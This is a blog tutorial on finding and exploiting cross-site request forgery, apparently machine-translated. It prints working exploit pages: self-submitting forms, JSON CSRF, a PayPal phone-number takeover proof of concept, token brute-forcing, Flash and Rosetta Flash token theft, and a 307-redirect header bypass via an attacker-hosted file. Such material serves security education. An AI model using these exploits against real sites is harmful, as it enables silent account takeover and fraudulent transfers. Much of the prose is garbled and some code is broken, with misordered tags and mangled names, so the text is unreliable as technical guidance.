LightBlog

Thursday 6 June 2019

#4 Web application penetration testing tutorials - Cross-site request forgery

Web-application-penetration-testing-tutorials

Web Application Penetration Testing Tutorials - Cross-Site Request Forgery


Cross-Site Request  Forgery (CSRF) is another common web vulnerability, in which An attacker tricks the victim's browser to generate requests from a website that Does the user or the victim perform some work on behalf of the log? 

Web server Processing the request executes the desired actions of the request because it looks the same For any general requests generated by users' browsers, CSRF vulnerabilities can vary Much more in severity; Gentle people can change settings or post from someone, but Important people can password change, account acquisition, and so on.

CSRF is usually shown in the OWASP Top-10 vulnerability list
past few years. It is often misunderstood by the developer's vulnerability Failed to understand the root cause of the problem, half-baked The solution to stop CSRF problem I will try to explain the CSRF further Technical Fashion

In this Web Application Penetration Testing Tutorial, we will cover the following topics:

  • Introduction to CSRF
  • highlighting CSRF based POST-request
  • How do developers stop CSRF?
  • PayPal's CSRF vulnerability to change phone numbers
  • Choosing CSRF in JSON Requests
  • Using XSS to steal anti-CSRF tokens
  • Searching for anti-CSRF token
  • Flash comes to the rescue


Introducing  Cross-site Request  Forgery (CSRF)


Consider a banking Web Application that transfers money based on another user On your user name The following URL was created for:

https://bank.example.com/transfer/money username=John&amount=500


Therefore, assuming that the user is logged in and received by the previous URL Server of banking application, it will generously transfer $ 500 Username John Now it is perfectly fine unless there is a bad conspiracy Creates a webpage with the following content and hosts it somewhere:

<html>
 <head>
 </head>
 <body>
 <img src="https://bank.example.com/transfer/
 money?username=Attacker&amount=2500"/>
</body>
</html>


If users of banking apps login and view the above page, then the browser will Try loading the image, which is actually a URL that is meant to transfer money to the attacker Amount 2500 dollars In an effort to load the image, a GET request will be sent The server of banking application; 

However, the server will process this request Login and transfer as a valid request initiated by the user or victim Money in the account of the attacker The attack goes very quietly and quietly without A Clue

Now, some developers try to fix this problem by switching to a browser-server Communications for important tasks for POST requests in the hope of fixing this, but Sadly, this is one of the worst ideas ever since CSRF vulnerability exists in POST Also requests.

Web-application-penetration-testing-tutorials

The preceding diagram describes a CSRF scenario in relation to a stock exchange website. stocks.example.org assumes that the user is already logged in to the website and has an active session, and the following points are shown:

  • A malicious page is hosted on www.example.org
  • Malicious page receives an image tag to load the URL for the transfer of shares 
  • The malicious page is played in the browser and then it sends a request to the stocks.example.org server to move the stock, despite the user being aware of anything.

Exploiting POST-request based CSRF

As we discussed earlier, developers often make the mistake of going to POST By changing actions into forms, depending on the website, requests for important tasks Assuming that the POST request of a form will not be forged. 

But in reality, Can be forged very well - in this case, the attacker uses a self-submission form Complete the same.

The self-submitted form hosted by an attacker looks like the following:

<html>
 <head>
 </head>
 <body onload=document.getElementById('xsrf').submit()>
 <form id='xsrf' method="post" action="
 https://bank.example.com/transfer/money">
 <input type='hidden' name='username' value='John'>
 </input>
 <input type='hidden' name='amount' value='500'>
 </input>
 </form>
</body>
</html>


The previous code is for the same example as I mentioned earlier, but instead of GET The developer chose to implement POST for the operations, and this piece of code would be Take advantage of it without any interruption.

However, we will lose the Submersible Attack of the CSRF Attack
Forms, unsafe websites will still open. To avoid this, we can build another Load the page and our page that contains the exploitation code as the iframe of 1 * 1 dimension, So after submitting the auto or form, it will be hidden from the page The eyes of the victim

How developers prevent CSRF? 

The classic method most developers use to fix this vulnerability is
Adding a secret token or not, which is called a CSRF token for every sensitive request, is then verified by the server for authenticity.

Let's come back to our banking web application and see how it can be fixed. Adding a secret token with other request parameters.

Assuming that the user is logged into the banking application, the server assigns him Sessions with ABC123, a unique anti-CSRF token for all sensitive forms and URLs. To transfer $ 500 to John, the URL will become the following:

https://bank.example.com/transfer/money?username=John&amount=500&toke
N = ABC123

The value of this token parameter will be verified and validated with the server Regarding the session of the logged-in user, and if they are mismatched, then transfer Will be denied. 

This concept uses the fact that there is a long enough alphanumeric
It would be very difficult for an attacker to either guess or use brute force.

There is an anti-CSRF token with fb_dtsg and name in the Facebook form and link The value AQHP05SkQmqT is as follows:


Web-application-penetration-testing-tutorials

There are known libraries to automatically add anti-CSRF security tokens Developers can use OWASP CSRFGuard such as.

Other techniques include token in request headers, checking the original Headers, and so on.

PayPal's CSRF Vulnerability to change Phone Numbers

In 2013, I disclosed the very serious problem of online payment giant CSRF PayPal This vulnerability allowed a malicious attacker to quietly change the number A PayPal user, thus by the attacker to handle the account password reset options.

Okay, I was pushing my PayPal balance sheet and as soon as I tried to enter PayPal's web application, I was inspired with the option to add a number with my PayPal account seen in the following screenshot and confirm. was done:

Web-application-penetration-testing-tutorials


As soon as I clicked on the Send Code, I got the password once
By looking at the number, and my account settings page, I noticed that the number had changed For the new ones which I requested for the code, even if I did not submit OTP to Paypal

The most shocking thing was that the request, which was sent to Paypal Click Send Code, which did not have any CSRF token or security of any kind. It meant  A CSRF was vulnerable to vulnerability, which could have changed when exploited

The victim's phone number on a controlled phone number It was
The effect of an account acquisition through PayPal's password-reset option.


Web-application-penetration-testing-tutorials

I immediately developed the proof of concept abuse and sent an e-mail to PayPal's security team, in which abuse was criticized; They responded and quickly corrected it.

There was a CSRF issue in POST request and the exploitation is as follows:

<html>
 <head>
 </head>
 <body onload=document.getElementById('xsrf').submit()>
 <form id='xsrf' method="post"
 action="https://www.paypal.com/webapps/customerprofile/
 phone/confirm">
 <input type='hidden' name='formAction' value='edit'>
 </input>
 <input type='hidden' name='actionId' value='doAction'>
 </input>
 <input type='hidden' name='phoneType' value='MOBILE'>
 </input>
 <input type='hidden' name='countryCode' value='IN'>
 </input>
 <input type='hidden' name='phoneNumber' value='9431194311'>
 </input>
 <input type='hidden' name='phoneHasErrors' value='true'>
 </input>
 <input type='hidden' name='sendCode' value='true'>
 </input>
 </form>
 </body>
</html>


This is a self-submitting form.

Exploiting CSRF in JSON requests 

JSON is a popular format for client-server architecture to exchange data over the Internet. These days there is a growing trend in which developers use JSON for browser communication from the browser.

The JSON-based POST data looks like the following:


Web-application-penetration-testing-tutorials


In the context of our CSRF exploitation scenario, the problem arises with the fact There are no query parameters with JSON format, which should be one Self-submission form. To bypass it, we can use the self-submitting form Hidden input with name attribute but no value. 

In other words, the name will be Put JSON payload to take advantage of CSRF. We have to change the encoding Text / plain type for purity The exploitation code will look like the following:

<html>
 <head>
 </head>
 <body onload=document.getElementById('xsrf').submit()>
 <form id="xsrf" action="
 https://bank.example.com/transfer/money" method=post
 enctype="text/plain" >
 <input name='{"username":"Attacker","amount":2500}'
 type='hidden'>
 </form>
 </body>

</html>


The generated POST request will be as follows:


Web-application-penetration-testing-tutorials

You may see a trailing signal after the JSON payload, many servers will reject this JSON because this is not valid. We can fix this thing by adding another JSON attribute, and then break it into the name and value parts of the hidden input:

<html>
 <head>
 </head>
 <body onload=document.getElementById('xsrf').submit()>
 <form id="xsrf" action="
 https://bank.example.com/transfer/money"
 method=post enctype="text/plain" >
 <input name='{"username":"Attacker","amount":2500,
 "padding":"' value='garbage"}' type='hidden'>
 </form>
 </body>

The resulting POST will be as follows:


Web-application-penetration-testing-tutorials

We can clearly see how this trick allowed us to create a proper JSON; And when This data has been sent as a POST request, the server will accept the username happily and Ignore one with the amount and name of the fields because it does not need it. So This way you exploit JSON-based CSRF.

Using XSS to steal anti-CSRF tokens

If we have XSS vulnerabilities in the web application, then by putting the appropriate Javascript code we can steal a token and then use it to create a CSRF exploitation (a) Self-presented form and so on).

In the following image, I have imitated XSS vulnerability through Facebook Chrome's Developer Console incorporates the following code, which will grab Display the CSRF token with the hidden input with the name fb_dtsg and display it The browser is shown in the screenshot after code:

var csrf = document.getElementsByTagName ("input") ['fb_dagg']. Values;

Warning ('Your CSRF Security Token is the value of fb_dtsg' + csrf);

Let's take a look at the following screenshots:


Web-application-penetration-testing-tutorials

It seems simple and simple, is not it? Similarly, we can use csrf variable JS code, inject it into self-submitting form through DOM manipulation, and then Auto submit the form. I will leave it as a practice.

Exploring pseudo-anti-CSRF tokens

There are some cases where CSRF tokens are injected into forms and sensitive URLs but rarely checked and valid on the server-side.

That being said, I remember a CSRF vulnerability in Facebook's AppCenter, by which open An Indian researcher who is called Amol Naik, in which he told how he managed Bypass AppCenter authentication (AppCenter is basically a marketplace Users who can install different apps/games on their Facebook profile)

In the certification phase, Amol saw that Facebook was sending its antisSRF token fb_dtsg along with requests for approval, however, on the server-side, The request was not being validated and it was ignored, which meant that his Token did not have any meaning Amol escalated and removed the fb_dtsg parameter The AppCenter app was fully accepted and the AppCenter app was still being accepted.

Therefore, while testing an application, we should always try to remove the CSRF token Check the parameters/headers from the request and check whether the server accepts or rejects Request fully, In fact, we can do the following comments to Check the validity of anti-CSRF token:

  • If the current user is logged in as A, use another user B's CSRF token And check whether A's request is allowed through A token of B. Then use this logic Bypass the CSRF security.
  • Do not remove the anti-CSRF token parameter, but insert a blank inside its value And see if it works.
  • Put a random string with the same length as an anti-CSRF token. Check to see what works.
  • Check that the CSRF token is normal for all users or not. If so, use tokens Build exploitation.

Less entropy or guessable token is another thing we can take advantage of. Consider a scenario where CSRF tokens are numbers in the range 1-100 or range 1-1000 or similar changes. In this case, we can use a brute force approach CSRF exploits to estimate the right token.

Come again, see the banking application again with a weaker token range this time.

Security from CSRF attack. We know that in the application only CSRF can be accepted and accepted Token between 1-100 range We can create an exploit like the following:


<img src="https://bank.example.com/transfer/
money?username=Attacker&amount=2500&token=1"/>
<img src="https://bank.example.com/transfer/
<html>
<head></head>
<body>
money?username=Attacker&amount=2500&token=2"/>
<img src="https://bank.example.com/transfer/
money?username=Attacker&amount=2500&token=3"/>
<img src="https://bank.example.com/transfer/
money?username=Attacker&amount=2500&token=4"/>
<img src="https://bank.example.com/transfer/
money?username=Attacker&amount=2500&token=5"/>

<img src="https://bank.example.com/transfer/
money?username=Attacker&amount=2500&token=100"/>
</body>
</html>

Now when it will load the URL in the image tag with the CSRF exploitation page token value From 1-100, it will effectively ensure that all possible values ​​in the range Token hits. 

There, one of the hundred endeavors, one definitely will be successful. We can do it Dynamically trim exploit by creating image tags through javascript and looping Them hundred times

Flash comes to the rescue 

These days, almost all web apps store files in some way; take for
Example, social networking websites that store our photos or dedicated storage Services like Dropbox. 

A common problem with this is that we can upload the flash
Or SWF files such as .ign, .gif, or .png and with gentle extensions
Accepted by server backend If the file is hosted on the main, the problem arises Website domain or subdomain (no sandbox domains), but we can create a flash file to read and upload the HTML source of a weak website With the previously allowed extension. 

Once it is uploaded to unsafe Website, the attacker just needs to embed the Flash file and pass the HTML output To parsing the source, from the Flash file to the Javascript Callback function.
The page in which Flash is embedded can be hosted anywhere, but once the flash The file is executed, it will simply send a request to the affected site and grab the HTML source which contains CSRF anti token. 

This will then pass to the HTML source For the JS callback function which it will parse for token and then inject the value of
Token in CSRF exploitation

The basic steps involved in this attack are as follows:

  1. The attacker uploads an SWF to the affected site which allows the file Uploading pictures, music and so on and as a website developer Unaware of the risks associated with hosting files in the same domain Place as a website.
  2. The attacker creates a page on his website and embeds the SWF that was Hosted on Weak Website
  3. The attacker gives the victim a link to this embedded CSRF exploit to the user.
  4. The victim is logged in and opens the link, and silently flash the file Requests for the unsafe website and downloads HTML It uses the anti-CSRF token and then tokens to take advantage of CSRF defect.
The embedded code is as follows:



<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2//EN">
<html>
<head>
<title>Bug</title>
</head>
<body>
<script type="text/javascript">
var x ;
function nice(x)
{
x = unescape(x);
var id = x.split("form_build_id\"
value=\"")[1].split("\"")[0];
var token = x.split("form_token\"
value=\"")[1].split("\"")[0];
document.getElementsByName("form_build_id")[0].value = id;
document.getElementsByName("form_token")[0].value = token;
console.log(document.getElementById("csrf").submit());
}
</script>
<object style="width:1px;height:1px"
data="https://staging.example.com/sites/
default/files/magic.jpg"
type="application/x-shockwave-flash"
allowscriptaccess="always"
flashvars="callback=nice&url=https://staging.example.com/
">
</object>
<embed src="" allowscript="always" flashvars>
</embed>
<form id = "csrf"
action="https://staging.example.com/messages/
new" method="POST">
<input type="hidden" name="recipient" value="admin" />
<input type="hidden" name="subject" value="meassages" />
<input type="hidden" name="body[value]" value="DemoHAX :)" />
<input type="hidden" name="form_build_id" value="" />
<input type="hidden" name="form_token" value="" />
<input type="hidden" name="form_id" value="privatemsg_new" />
<input type="hidden" name="op" value="Send message" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>


The previous code has been taken through one of my previous CSRF searches Flash vector Here the attacker can host this code on your domain and then read it CSRF spanged through embedded flash on staging.example.com jpg which is technically a flash file that has a spoof extension. 

As soon as the page will be Loads will request and receive Flash file https://staging.example.com/ The source in which the user will have a CSRF token because of the SWF file Executes the unsafe website with the same origin. 

Then a javascript callback The function named nicely () is called. 

This function performs some text Parsing on the HTML source captures the token, then injects it into exploitation Form submits the form automatically; 

So this game is over for the user.

Fix for this is relatively simple on the server side: just sending a proper Content-disposable header will work for hosted files, which are as follows:

Content-dispute: attachment; File name = "magic.jpg"

We can also take advantage of JSONP Endpoint. To make our flash file as a callback The name, which will reflect back in the output of the endpoint. We can then embed Exploitation to achieve similar results in our CSRF in the preceding example. When the complete exploitation will happen together, the following will look like:


<object style="width:1px;height:1px"
data="https://staging.example.com/jsonp/api?callback=
[percent-encoded-flash-file] " type="application/
x-shockwave-flash" allowscriptaccess="always"
flashvars="callback=nice&url=https://staging.example.com/ ">
</object>

One thing to note here is that this will only work if JSONP is the endpoint Configured to return characters except A-Z, a-z and 0-9. To generate a net An alphanumeric version of an existing flash file, we can use a tool named Rosetta Flash, Which will be discussed in the next section.

Rosetta Flash 

Before I write about Rosetta, I will point out the fact that it only works in Adobe Flash The player on or before the following versions:


Flash Major Version Flah Minor Version Operating System
Adobe Flah Player 11 11.2.202.394 Linux
Adoboe Flah Player 13 13.0.0.231 Windows
Adobe Flah Player 14 13.0.0.145 Windows
Adobe Flah Player 13 13.0.0.231 Mac OS X
Adove Flah Player 14 14.0.0.145 Mac OS X

Rosette Flash is a tool created by Google Security Engine, which is called Michelle Spagnuolo This device uses Huffman encoding to map non-alphanumeric characters (Binary) for their alphanumeric options in a flash file. Rosette also uses The generous and forgiving parsing of flash files by Flash Player. 

Its end result It is that a binary flash file is completely converted into an alphanumeric flash file. This may happen Can be used to make alphanumeric SWF and then it will be inserted inside the callback name JSONP endpoint This time callback technology will be most successful Websites consider alphanumeric names to be valid.

Using a Rosetta, a converted SWF file looks like the following:


CWSMIKI0hCD0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7siudIbEAtwwutt
sGGDt0swDt0GDtDDGDDwtwpDDtDwwDDwwGwGDwGDDGDGDDDGGDDDGwGDDG0GDtDDDt
DtptpDDt333wwwv3swwFPeHBGHHWCHjhHfRTHHHwJoxHHHHHHHbHzHlOhKhShFHcXs
XmtJCkgdHHZHdiEAaQUteAUAYQMQUutiEAaQUVyqEDUEEMLUAyaEYnAyIQd6D0Up0I
ZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAtwwuDDDGGGDtw033GDDwGDw
GGGDGpDDtswtwwtwtt3HZdHhd8D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn
7iiudIbEAtwwwuD3wwG3sG0sDG0GtDDDtGtwwwDG03333333w333swwv3wwwFPTdww
EswwGDGD3www03GDGDtGpDDwwwGwwGtG0GDtt033333GDt333swwv3wwwFPteLuFdSH
khudHokfkVkvkNOwnsxmTSxUThsDmtUtHsdKhmxUxHWhKhghCakQcqKhghClkIShuzX
KhghSD5D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAt333wwuwwG0
GtwwGGDDG0GDDGDDDGDt33333www033333sfBDYhLdLDLxgHhmHhxHDHhLLhgHHlzh
HHHWwOoH3D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3SnnwWNqdIbe133333333333
333333WfF03sTeqefXA88888888888ooooooooooooooooooooooooooooooooooooooo
ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo888888888
88888880myGyroot

It can then be loaded in JSONP endpoint:


<object style="width:1px;height:1px" data="https://staging.example.
com/jsonp/api?callback=CWSMIKI0hCD0Up0IZUnnnnnnnnnnnnnnnnnnn
UU5nnnnnn3Snn7siudIbEAtwwuttsGGDt0swDt0GDtDDGDDwtwpDDtDww
DDwwGwGDwGDDGDGDDDGGDDDGwGDDG0GDtDDDtDtptpDDt333wwwv3swwFPeHBGHHWCH
jhHfRTHHHwJoxHHH….." type="application/x-shockwave-flash"
allowscriptaccess="always" flashvars="callback=nice&url=
https://staging.example.com/ ">
</object>

Rosetta Flash can be downloaded from https://github.com/mikispag/ More insights on Rosetta Flash and internal work have been explained
https://miki.it/blog/2014/7/8/abusing-jsonp-with-rosetta-flash/.

Defeating XMLHTTPRequest-based CSRF protection

Before diving into it, I give you some context. Most Web
Apps use XMLHTTPRequest (AJAX) to communicate with the web backend And these requests are susceptible to CSRF vulnerability. 

However, with the request Each AJAX call has a header attached, which is known as X-Requested-With; this Some CSRF acts like security because it is believed that the custom (user-created) The header cannot be added to browser requests. However, it is completely dependent X-Requested-With CSRF opens the door to the flaws. 

You can use a combination of Redirect flash and 307 to add custom headers and bypass this security as before.

Was displayed in 2008. However, it is believed that the patch was done, but as long as possible The 2015 bug is still alive in some browsers like Safari.

The order of the attack is as follows:

  1. The attacker detects an endpoint (and request) using POST-based AJAX Call and uses only with X-Requested-With header for security from CSRF On target site
  2. The attacker creates an SWF file that sends the CSRF request (with) X-Request-Withs) at the closing point of your website https://attacker.example.com/redirect.php.
  3. Now redirect.php file releases to 307 HTTP redirect condition The weak endpoint of target site This trick flashes to send CSRF Post to request for header site with a header, resulting in bypass.

A crossdomain.xml policy file is hosted on the attacker in the preceding steps Website containing the following:

<? xml version = "1.0" encoding = "UTF-8"?>
<Cross-domain-policy>
<allow-access-from domain = "*" />
<allow-http-request-headers-from domain = "*" header = "*" "/>
</ Cross-domain-policy>

If the file does not exist, then this attack will just fail because Flash needs this policy Appear before sending any request.

In early 2015, a Swedish security researcher called by Mathias Carlson exploited Csrf defects using this technology on popular video-sharing website Vimeo.

It's a good idea to read their full bug report:

https://hackerone.com/reports/44146

Summary

In this Web Application Penetration Testing Tutorial, we looked at various ways of discovering and exploiting CSRF Weaknesses While testing for websites, always look around to test anti-CSRF Token and their implementation - Most of the time misses some ending points or any other
Proper investigation etc.

In the next tutorial, we will take a look at the different ways of tapping SQL injection Weaknesses We are mainly covering popular and strong exploitation Tools SQLMap

No comments:

Post a Comment